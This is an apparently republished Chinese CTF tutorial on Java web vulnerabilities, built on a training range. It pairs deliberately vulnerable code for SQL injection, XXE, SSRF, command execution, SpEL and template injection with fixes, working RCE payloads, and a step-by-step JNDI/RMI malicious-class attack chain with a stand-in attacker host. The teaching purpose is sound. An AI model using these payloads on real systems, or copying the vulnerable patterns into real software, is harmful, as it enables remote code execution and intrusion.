javaweb的幾大常見漏洞

CTF javaweb中幾大常見漏洞(基于java-security靶場)

對于CTF而言,java類型的題目基本都是白盒代碼審計,在java類型的web題目增長的今天,java代碼審計能力在ctf比賽中尤為重要。

這篇博客主要是給大家介紹一下一些常見漏洞在java代碼里面大概是怎么產生的,而不去討論漏洞具體的利用技巧。

一、SQL注入

什么是JDBC?

JDBC(Java Database Connectivity) 是 Java 提供的用于連接和操作數據庫的標準 API(應用程序接口)。

JDBC中幾個常見的造成sql注入的語法

1.statement字符串拼接

public String vul1(String id) {Class.forName("com.mysql.cj.jdbc.Driver");Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);Statement stmt = conn.createStatement();String sql = "select * from users where id = '" + id + "'";ResultSet rs = stmt.executeQuery(sql);
}

2.PrepareStatement會對SQL語句進行預編譯,但如果直接采取拼接的方式構造SQL,此時進行預編譯也無用

public String vul2(String id) {Class.forName("com.mysql.cj.jdbc.Driver");Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);String sql = "select * from users where id = " + id;PreparedStatement st = conn.prepareStatement(sql);ResultSet rs = st.executeQuery();
}

正確的語法應該是

    String sql = "select * from users where id = ?";PreparedStatement st = conn.prepareStatement(sql);st.setString(1, id);

用這種方法即可讓輸入的id的特殊符號自動轉義

3.使用jdbctemplate但還是直接拼接

public Map<String, Object> vul3(String id) {DriverManagerDataSource dataSource = new DriverManagerDataSource();dataSource.setDriverClassName("com.mysql.cj.jdbc.Driver");dataSource.setUrl(db_url);dataSource.setUsername(db_user);dataSource.setPassword(db_pass);JdbcTemplate jdbctemplate = new JdbcTemplate(dataSource);String sql = "select * from users where id = " + id;// 安全代碼:使用參數化查詢,避免SQL注入風險// String sql = "select * from users where id = ?";return jdbctemplate.queryForMap(sql);
}

基本jdbc sql注入所有的來源都是直接拼接,一般來說用一些轉義的庫或者正則過濾都可以避免

MyBatis的sql注入

MyBatis是一種輕量化的框架,可以用于和數據庫連接,他也存在一些漏洞。
${}

@GetMapping("/vul/order") //Controller層,獲取客戶端的參數,傳遞給userMapper的orderBy,分別在下面有定義
public List<User> orderBy(String field, String sort) {return userMapper.orderBy(field, sort);
}// 不安全的注解寫法
public interface UserMapper {@Select("select * from users order by ${field} ${sort}")List<User> orderBy(@Param("field") String field, @Param("sort") String sort);
}// 不安全的XML映射寫法 , 通過xml的格式來定義 
<select id="orderBy" resultType="com.best.hello.entity.User">select * from users order by ${field} ${sort}
</select>

這里${}的傳參格式直接拼接sql造成注入漏洞

二、文件上傳漏洞

java的文件上傳和傳統的文件上傳基本都是一類漏洞,無非就是前端校驗,修改擴展名,content-type之類的東西,其次還有像目錄遍歷這樣的漏洞,就不單獨說明了,給大家看看java文件上傳的函數大概是怎么寫的就行.

文件上傳:

@PostMapping("/uploadVul")
public String uploadVul(@RequestParam("file") MultipartFile file) {try {byte[] bytes = file.getBytes();Path dir = Paths.get(UPLOADED_FOLDER);Path path = Paths.get(UPLOADED_FOLDER + file.getOriginalFilename());Files.write(path, bytes);} catch (Exception e) {return e.toString();}return "redirect:uploadStatus";
}

目錄遍歷:

public String fileList(String filename) {String filePath = System.getProperty("user.dir") + "/logs/" + filename; //直接拼接,可以上傳類似../..的文件名StringBuilder sb = new StringBuilder();File f = new File(filePath);File[] fs = f.listFiles();if (fs != null) {for (File ff : fs) {sb.append(ff.getName()).append("<br>");}return sb.toString();}return filePath + "目錄不存在!";
}

三、XSS

造成反射型xss漏洞最基本的代碼:

@GetMapping("/reflect")
public static String input(String content) {return content; //直接return
}

儲存型:

@PostMapping("/save")
public String save(HttpServletRequest request) {String content = request.getParameter("content");xssMapper.add(content); //xss.Mapper未過濾直接存return "success";}

注入的方法也和傳統xss一樣,主要看你注入的js語句效果如何

四、SSRF

java里面發送任意請求的代碼是怎么寫的呢?

public static String URLConnection(String url) {try {URL u = new URL(url); //用URL類URLConnection conn = u.openConnection(); //通過 URLConnection 建立到指定URL的連接。BufferedReader reader = new BufferedReader(new InputStreamReader(conn.getInputStream()));String content;StringBuffer html = new StringBuffer();while ((content = reader.readLine()) != null) {html.append(content);}reader.close();return html.toString();} catch (Exception e) {return e.getMessage();}
}

他的漏洞利用方式也和普通SSRF漏洞差不多,各種繞過黑名單的方法都能拿來用

五、XML

java中有很多xml解釋類,這里也主要給大家介紹一下這些類,不去講xml的語法,過濾方法也主要靠黑名單過濾

1.XMLReader

String XMLReader(@RequestBody String content) {try {XMLReader xmlReader = XMLReaderFactory.createXMLReader(); //xml解釋器// 修復:禁用外部實體解析// xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);xmlReader.parse(new InputSource(new StringReader(content))); //開始解析return "XMLReader XXE";} catch (Exception e) {return e.toString();}
}

2.DocumentBuilder

@RequestMapping(value = "/DocumentBuilder")
public String DocumentBuilder(@RequestParam String content) {DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); //xml解釋器// 修復: 禁用外部實體// factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);DocumentBuilder builder = factory.newDocumentBuilder(); //開始解析,自動獲取content參數
}

3.SAXReader

@RequestMapping(value = "/SAXReader")
public String SAXReader(@RequestParam String content) {try {SAXReader sax = new SAXReader(); //解釋器// 修復:禁用外部實體// sax.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);sax.read(new InputSource(new StringReader(content))); //解析return "SAXReader XXE";} catch (Exception e) {return e.toString();}
}

4.Unmarshaller

public String Unmarshaller(@RequestBody String content) {try {JAXBContext context = JAXBContext.newInstance(Student.class);Unmarshaller unmarshaller = context.createUnmarshaller(); //xml解釋器XMLInputFactory xif = XMLInputFactory.newFactory();// 修復: 禁用外部實體// xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");// xif.setProperty(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");XMLStreamReader xsr = xif.createXMLStreamReader(new StringReader(content)); //裝載xmlObject o = unmarshaller.unmarshal(xsr); //解析xmlreturn o.toString(); //字符串返回
} catch (Exception e) {e.printStackTrace();
}

5.SAXBuilder

@RequestMapping(value = "/SAXBuilder")
public String SAXBuilder(@RequestBody String content) {try {SAXBuilder saxbuilder = new SAXBuilder(); //解釋器// 修復:禁用外部實體// saxbuilder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);saxbuilder.build(new InputSource(new StringReader(content))); //解析return "SAXBuilder XXE";} catch (Exception e) {return e.toString();}
}

六、java rce

ProcessBuilder方式

觸發代碼:

// new ProcessBuilder(command).start()
// 功能是利用ProcessBuilder執行ls命令查看文件,但攻擊者通過拼接; & |等連接符來執行自己的命令。public static String processbuilderVul(String filepath) throws IOException {String[] cmdList = {"sh", "-c", "ls -l " + filepath}; //命令拼接輸入的filepath,例如輸入/tmp;whoami即可拼接命令ProcessBuilder pb = new ProcessBuilder(cmdList); //創建進程pb.redirectErrorStream(true);Process process = pb.start(); //啟動進程// 獲取命令的輸出InputStream inputStream = process.getInputStream(); //獲取命令的標準輸出流BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream)); //逐行讀取輸出內容String line;StringBuilder output = new StringBuilder();while ((line = reader.readLine()) != null) {output.append(line).append("\n");} //拼接所有輸出行,最終返回給調用者return output.toString();
}

這里主要是介紹ProcessBuilder觸發rce的一個情景,這里是調用sh解析的就不多介紹相關命令了。

Runtime方式

// Runtime.getRuntime().exec(cmd)public static String vul(String cmd) {StringBuilder sb = new StringBuilder();try {Process proc = Runtime.getRuntime().exec(cmd);InputStream fis = proc.getInputStream();InputStreamReader isr = new InputStreamReader(fis);BufferedReader br = new BufferedReader(isr);...

這里Runtime.getRuntime().exec執行命令調用是系統默認的shell

Processlmpl

// ProcessImpl 是更為底層的實現,Runtime和ProcessBuilder執行命令實際上也是調用了ProcessImpl這個類
// ProcessImpl 類是一個抽象類不能直接調用,但可以通過反射來間接調用ProcessImpl來達到執行命令的目的public static String vul(String cmd) throws Exception {// 首先,使用 Class.forName 方法來獲取 ProcessImpl 類的類對象Class clazz = Class.forName("java.lang.ProcessImpl");// 然后,使用 clazz.getDeclaredMethod 方法來獲取 ProcessImpl 類的 start 方法Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);// 使用 method.setAccessible 方法將 start 方法設為可訪問method.setAccessible(true);// 最后,使用 method.invoke 方法來調用 start 方法,并傳入參數 cmd,執行命令Process process = (Process) method.invoke(null, new String[]{cmd}, null, null, null, false);
}       

腳本引擎代碼注入

// 通過加載遠程js文件來執行代碼,如果加載了惡意js則會造成任意命令執行
// 遠程惡意js: var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}
// ?? 在Java 8之后移除了ScriptEngineManager的evalpublic void jsEngine(String url) throws Exception { //url就是腳本地址ScriptEngine engine = new ScriptEngineManager().getEngineByName("JavaScript");Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);String payload = String.format("load('%s')", url);engine.eval(payload, bindings);
}

groovy

import groovy.lang.GroovyShell;
@GetMapping("/groovy")
public void groovy(String cmd) {GroovyShell shell = new GroovyShell();shell.evaluate(cmd);
}

可以理解為一種基于java的語言。

七、java反序列化漏洞

java反序列化和php、python等還是有很大區別的,涉及到的內容較多,也是java中最有特色也最難利用的一類漏洞了,之后我會單獨出一個博客來講解

八、SpEL(Spring Expression Language)表達式注入

在spring框架的web項目可能會出現的漏洞,主要靠SpelExpressionParser這個類

/*** 產生原因:默認的StandardEvaluationContext權限過大,用戶輸入的表達式被直接解析和執行* PoC: T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22)*/
public String vul(String ex) {ExpressionParser parser = new SpelExpressionParser();EvaluationContext evaluationContext = new StandardEvaluationContext();Expression exp = parser.parseExpression(ex);String result = exp.getValue(evaluationContext).toString();return result;
}

需要spel語法注入,上方有命令執行的poc

九、模板注入

通過這里我們也來認識一下java通用的模板引擎有哪些

Thymeleaf 模板

/*** 1.模板文件參數可控,造成模板注入漏洞(選擇模板)*/
@GetMapping("/thymeleaf/vul")
public String thymeleafVul(@RequestParam String lang) {return "lang/" + lang;
}
//lang=__${T(java.lang.Runtime).getRuntime().exec("calc")}__::.x/*** 2.模板片段參數可控,造成模板注入漏洞(片段選擇器)*/
@GetMapping("/thymeleaf/fragment/vul")
public String fragmentVul(@RequestParam String section) {return "lang/en :: " + section;
}
//section=${T(java.lang.Runtime).getRuntime().exec("calc")
/*** 3.當 Spring MVC 的 @GetMapping 方法沒有返回值(void)時,Spring 會默認將請求的 URL 路徑作為視圖名稱(View Name),交給模板引擎(如 Thymeleaf)解析。* 在這種情況下,我們只要可以控制請求的controller的參數,一樣可以造成RCE漏洞* payload: __${T(java.lang.Runtime).getRuntime().exec("open -a Calculator")}__::.x
*/@GetMapping("/doc/{document}")public void getDocument(@PathVariable String document) {System.out.println(document);}
//poc:http://.../doc/__$%7BT(java.lang.Runtime).getRuntime().exec('whoami')%7D__::.x

FreeMarker 模板注入

/*** 模板文件內容可控,造成模板注入漏洞* payload: <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("open -a Calculator") }*/
@GetMapping("/freemarker/vul")
public String freemarkerVul(@RequestParam String file, @RequestParam String content, Model model, HttpServletRequest request) {String resourcePath = "templates/freemarker/" + file;try (InputStream is = getClass().getClassLoader().getResourceAsStream(resourcePath)) {...}stringTemplateLoader.putTemplate(file, content); //stringTemplateLoader.putTemplate將用戶輸入的 content 動態加載為 FreeMarker 模板。content里的內容可以被命令執行conf.setTemplateUpdateDelayMilliseconds(0);conf.setLogTemplateExceptions(false);return file.replace(".ftl", "");
}
// poc:?file=indexxx.ftl&content=<%23assign%20ex%3d"freemarker%2etemplate%2eutility%2eExecute"%3fnew%28%29>%20%24%7b%20ex%28"whoami"%29%20%7d

Velocity 模板注入(evaluate場景)

 /*** evaluate() 方法用于解析字符串模板,而不是從 .vm 文件中獲取模板內容。* 將用戶傳入的參數拼接到字符串模板中使用evaluate進行解析,造成RCE* 漏洞影響范圍: velocity <= 2.2* 修復方式: 更新至 2.3 以上版本* payload: #set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")*/
@GetMapping("/velocity/evaluate/vul")
@ResponseBody
public String velocityEvaluateVul(@RequestParam(defaultValue = "Hello-Java-Sec") String username) {String templateString = "Hello, " + username + " | phone: $phone, email: $email"; //拼接處Velocity.init();VelocityContext ctx = new VelocityContext();ctx.put("phone", "012345678");ctx.put("email", "xxx@xxx.com");StringWriter out = new StringWriter();Velocity.evaluate(ctx, out, "test", templateString); //關鍵觸發函數Velocity.evaluatereturn out.toString();}

Velocity注入(merge場景)

/*** merge() 方法用于將模板字符串與上下文數據合并并生成結果* 示例代碼中通過讀取 merge.vm 的內容,將模板內容中的<USERNAME>替換為前端傳入的username參數,最后通過merge方法進行合并,造成RCE* 漏洞影響范圍: velocity <= 2.2* 修復方式: 更新至 2.3 以上版本* payload: #set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")
*/
@GetMapping("/velocity/merge/vul")
@ResponseBody
public String velocityMergeVul(@RequestParam(defaultValue = "x1ong") String username) throws IOException, ParseException {// 讀取 velocity 模板文件BufferedReader bufferedReader = new BufferedReader(new FileReader(String.valueOf(Paths.get(this.getClass().getClassLoader().getResource("templates/velocity/merge.vm").toString().replace("file:", "")))));StringBuilder stringBuilder = new StringBuilder();//merge.vm就是模板文件// 將模板文件讀取到字符串String line;while ((line = bufferedReader.readLine()) != null) {stringBuilder.append(line);}String templateString = stringBuilder.toString();// 替換模板中的 <USERNAME> 變量,存在注入風險templateString = templateString.replace("<USERNAME>", username);// 創建 Velocity 解析器StringReader reader = new StringReader(templateString);VelocityContext ctx = new VelocityContext();ctx.put("name", "x1ong");ctx.put("phone", "012345678");ctx.put("email", "xxx@xxx.com");// 解析并執行 Velocity 模板StringWriter out = new StringWriter();org.apache.velocity.Template template = new org.apache.velocity.Template();RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();SimpleNode node = runtimeServices.parse(reader, String.valueOf(template)); template.setRuntimeServices(runtimeServices);template.setData(node);template.initDocument();template.merge(ctx, out); //合并解析return out.toString();}

十、jndi注入

java運行遠程加載類,而不局限于本地或者庫里面的類,因此就會有遠程惡意類的出現

/*** 產生原因:當lookup()方法的參數可控時,攻擊者便能提供一個惡意的url地址來加載惡意類。*/
public void vul(String content) {try {Context ctx = new InitialContext(); //創建一個 JNDI 初始上下文(Initial Context),相當于連接到一個命名服務(如 LDAP、RMI、DNS、本地文件系統等)。ctx.lookup(content); //根據傳入的 content(名稱/路徑)查找并返回綁定的對象} catch (Exception e) {log.warn("JNDI錯誤消息");}
}

這里的content我們可控,因此我們可以加載一些本地或者遠程的惡意類

poc:rmi://127.0.0.1:1099/Exp

具體攻擊流程:

(1)編寫惡意類 Exploit.java
// Exploit.java - 彈計算器(Windows)或執行任意命令
public class Exploit {static {try {Runtime.getRuntime().exec("calc.exe");// Linux/Mac替換為:Runtime.getRuntime().exec("/bin/bash -c 'touch /tmp/pwned'");} catch (Exception e) {e.printStackTrace();}}
}
編譯為 .class 文件:
javac Exploit.java(2)啟動 HTTP 服務器托管 Exploit.class
# 使用Python快速啟動HTTP服務(端口8000)
python3 -m http.server 8000
確保 Exploit.class 可通過 http://your-ip:8000/Exploit.class 訪問。(3)啟動惡意 RMI 服務器
// RMIServer.java
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.createRegistry(1099);// 指向HTTP服務器上的Exploit.classReference ref = new Reference("Exploit", "Exploit", "http://your-ip:8000/");registry.bind("Exploit", new ReferenceWrapper(ref));System.out.println("RMI Server running on 0.0.0.0:1099");}
}
編譯并運行:
javac RMIServer.java
java RMIServer

十一、組件注入

也單獨開一個博客去講

后續如果我遇到好的靶場題目也會繼續補充博客

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/915171.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/915171.shtml
英文地址,請注明出處:http://en.pswp.cn/news/915171.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【設計模式C#】外觀模式(用于解決客戶端對系統的許多類進行頻繁溝通)

一種結構性設計模式。特點是將復雜的子系統調用邏輯封裝到一個外觀類&#xff0c;從而使客戶端更容易與系統交互。優點&#xff1a;簡化了接口的調用&#xff1b;降低了客戶端與子系統的耦合度&#xff1b;封裝了子系統的邏輯。缺點&#xff1a;引入了額外的類&#xff0c;可能…

【PTA數據結構 | C語言版】二叉堆的快速建堆操作

本專欄持續輸出數據結構題目集&#xff0c;歡迎訂閱。 文章目錄題目代碼題目 請編寫程序&#xff0c;將 n 個順序存儲的數據用快速建堆操作調整為最小堆&#xff1b;最后順次輸出堆中元素以檢驗操作的正確性。 輸入格式&#xff1a; 輸入首先給出一個正整數 c&#xff08;≤1…

【數據結構初階】--雙向鏈表(二)

&#x1f525;個人主頁&#xff1a;草莓熊Lotso &#x1f3ac;作者簡介&#xff1a;C研發方向學習者 &#x1f4d6;個人專欄&#xff1a; 《C語言》 《數據結構與算法》《C語言刷題集》《Leetcode刷題指南》 ??人生格言&#xff1a;生活是默默的堅持&#xff0c;毅力是永久的…

vue-cli 模式下安裝 uni-ui

目錄 easycom 自定義easycom配置的示例 npm安裝 uni-ui 準備 sass 安裝 uni-ui 注意 easycom 傳統vue組件&#xff0c;需要安裝、引用、注冊&#xff0c;三個步驟后才能使用組件。easycom將其精簡為一步。 只要組件路徑符合規范&#xff08;具體見下&#xff09;&#…

JavaSE-接口

概念在Java中&#xff0c;接口可以被看成是一種公共規范&#xff0c;是一種引用數據類型。語法1.接口的定義格式與類的定義格式基本相同&#xff0c;將class關鍵字替換為interface關鍵字&#xff1a;public interface IShape {}2.類與接口之間使用implements關鍵字來實現接口&a…

常用類學習

文章目錄字符串相關的類String的特性String對象的創建字符串相關的類String類與其他結構之間的轉換StringBuffer,StringBuilderStringBuffer類的常用方法JDK8之前日期時間APIjava.lang.System類java.util.Date類java.text.SimpleDateFormat類java.util.Calendar類JDK8中新日期時…

【Python庫包】Gurobi-Optimize (求解 MIP) 安裝

目錄Step1&#xff1a;注冊賬號Step2&#xff1a;獲取Licence另&#xff1a;完整安裝 Gurobi軟件參考本博客簡介Gurobi-Optimizer的安裝&#xff08;Python 環境&#xff09;。 Step1&#xff1a;注冊賬號 官網-Gurobi-Optimizer ??注意&#xff1a; Gurobi 是商業軟件&…

【滲透測試】NmapScanHelper 掃描輔助工具

目錄NmapScanHelper 掃描輔助工具一、功能特性二、文件說明三、使用方法1. 安裝依賴macOSUbuntu/DebianCentOS/RHEL2. 配置網段3. 運行掃描基本用法常用端口掃描示例掃描模式特殊環境模式選擇性掃描自定義文件4. 查看結果四、掃描模式說明標準模式特殊環境模式五、支持的 Nmap …

Python爬蟲入門到實戰(1)-requests庫

一.網絡爬蟲庫網絡爬蟲通俗來講就是使用代碼將HTML網頁的內容下載到本地的過程。爬取網頁主要是為了獲取網之間需要中的關鍵信息&#xff0c;例如網頁中的數據、圖片、視頻等。urllib庫:是Python自帶的標準庫&#xff0c;無須下載、安裝即可直接使用。urllib庫中包含大量的爬蟲…

深入理解設計模式之代理模式:原理、實現與應用

在軟件開發中&#xff0c;我們經常需要控制對某些對象的訪問——可能是為了延遲加載、添加額外功能或保護敏感資源。這正是代理模式大顯身手的地方。作為結構型設計模式的重要成員&#xff0c;代理模式在眾多知名框架和系統中扮演著關鍵角色。本文將全面剖析代理模式的方方面面…

VSCode - VSCode 快速跳轉標簽頁

VSCode 快速跳轉標簽頁 1、標簽頁列表快速跳轉 通過快捷鍵 Ctrl Tab 即可快速跳轉標簽頁 # 操作方式先按住 Ctrl 鍵&#xff0c;再按 Tab 鍵&#xff0c;此時&#xff0c;即可打開標簽頁列表&#xff08;保持 Ctrl 鍵一直按住&#xff09;然后&#xff0c;再按 Tab 鍵&#xf…

深入理解設計模式:享元模式(Flyweight Pattern)

在軟件開發中&#xff0c;我們經常會遇到需要創建大量相似對象的情況。如果每個對象都獨立存儲所有數據&#xff0c;將會消耗大量內存資源&#xff0c;導致系統性能下降。享元模式&#xff08;Flyweight Pattern&#xff09;正是為解決這一問題而生的經典設計模式。本文將深入探…

網絡大提速,RDMA,IB,iWrap

本章第一節介紹的存儲設備方面的創新解決了CPU訪問存儲設備的性能問題。但在實際的業務當中,數據的傳輸除了在節點內部的CPU與存儲設備間外,節點之間也存在數據傳輸的需求。本節我們就介紹在網絡傳輸方面是如何提速的。 在介紹新的網絡技術之前,我們看看傳統網絡是如何傳輸…

【C++】紅黑樹,“紅“與“黑”的較量

各位大佬好&#xff0c;我是落羽&#xff01;一個堅持不斷學習進步的大學生。 如果您覺得我的文章有所幫助&#xff0c;歡迎多多互三分享交流&#xff0c;一起學習進步&#xff01; 也歡迎關注我的blog主頁: 落羽的落羽 一、紅黑樹的概念與規則 紅黑樹是一種更加特殊的平衡二…

【愚公系列】《MIoT.VC》001-認識、安裝 MIoT.VC 軟件

??【行業認證權威頭銜】 ? 華為云天團核心成員:特約編輯/云享專家/開發者專家/產品云測專家 ? 開發者社區全滿貫:CSDN博客&商業化雙料專家/阿里云簽約作者/騰訊云內容共創官/掘金&亞馬遜&51CTO頂級博主 ? 技術生態共建先鋒:橫跨鴻蒙、云計算、AI等前沿領域…

git:tag標簽遠程管理

git tag v1&#xff1a;在當前所在分支創建標簽v1git tag -a v2 -m release version&#xff1a;創建一個帶有附注的標簽git tag -d v2&#xff1a;刪除本地標簽git tag&#xff1a;查看標簽git push origin 標簽1 標簽2……&#xff1a;把多個標簽推送到遠程git push origin -…

力扣 hot100 Day49

105. 從前序與中序遍歷序列構造二叉樹 給定兩個整數數組 preorder 和 inorder &#xff0c;其中 preorder 是二叉樹的先序遍歷&#xff0c; inorder 是同一棵樹的中序遍歷&#xff0c;請構造二叉樹并返回其根節點。 //抄的 class Solution { private:unordered_map<int, i…

jvm-sandbox-repeater 錄制和回放

https://github.com/alibaba/jvm-sandbox-repeater/blob/master/docs/user-guide-cn.md 快速錄制自己應用 step0 安裝sandbox和插件到應用服務器 curl -s https://github.com/alibaba/jvm-sandbox-repeater/releases/download/v1.0.0/install-repeater.sh | sh step1 修改repe…

【C++底層剖析】++a vs a++:到底誰是左值,誰是右值?

在 C 編程中&#xff0c;我們經常使用 a 和 a 來實現自增操作。乍一看它們只是“先加還是后加”的語法糖&#xff0c;但你真的理解它們的底層機制、返回值類型和左值右值屬性嗎&#xff1f;1. a 和 a 的基礎區別表達式名稱語義返回值類型左值 / 右值a前置自增先將 a 加 1&#…

【世紀龍科技】汽車故障診斷與排除仿真教學軟件讓課堂更高效安全

隨著汽車產業向智能化、電動化快速轉型&#xff0c;職業院校汽修專業的教學模式正面臨全新挑戰。傳統實車實訓存在成本高、風險大、場景單一等問題&#xff0c;而行業對人才的要求卻越來越高——既需要扎實的理論基礎&#xff0c;又必須具備熟練的故障診斷能力。如何在保證安全…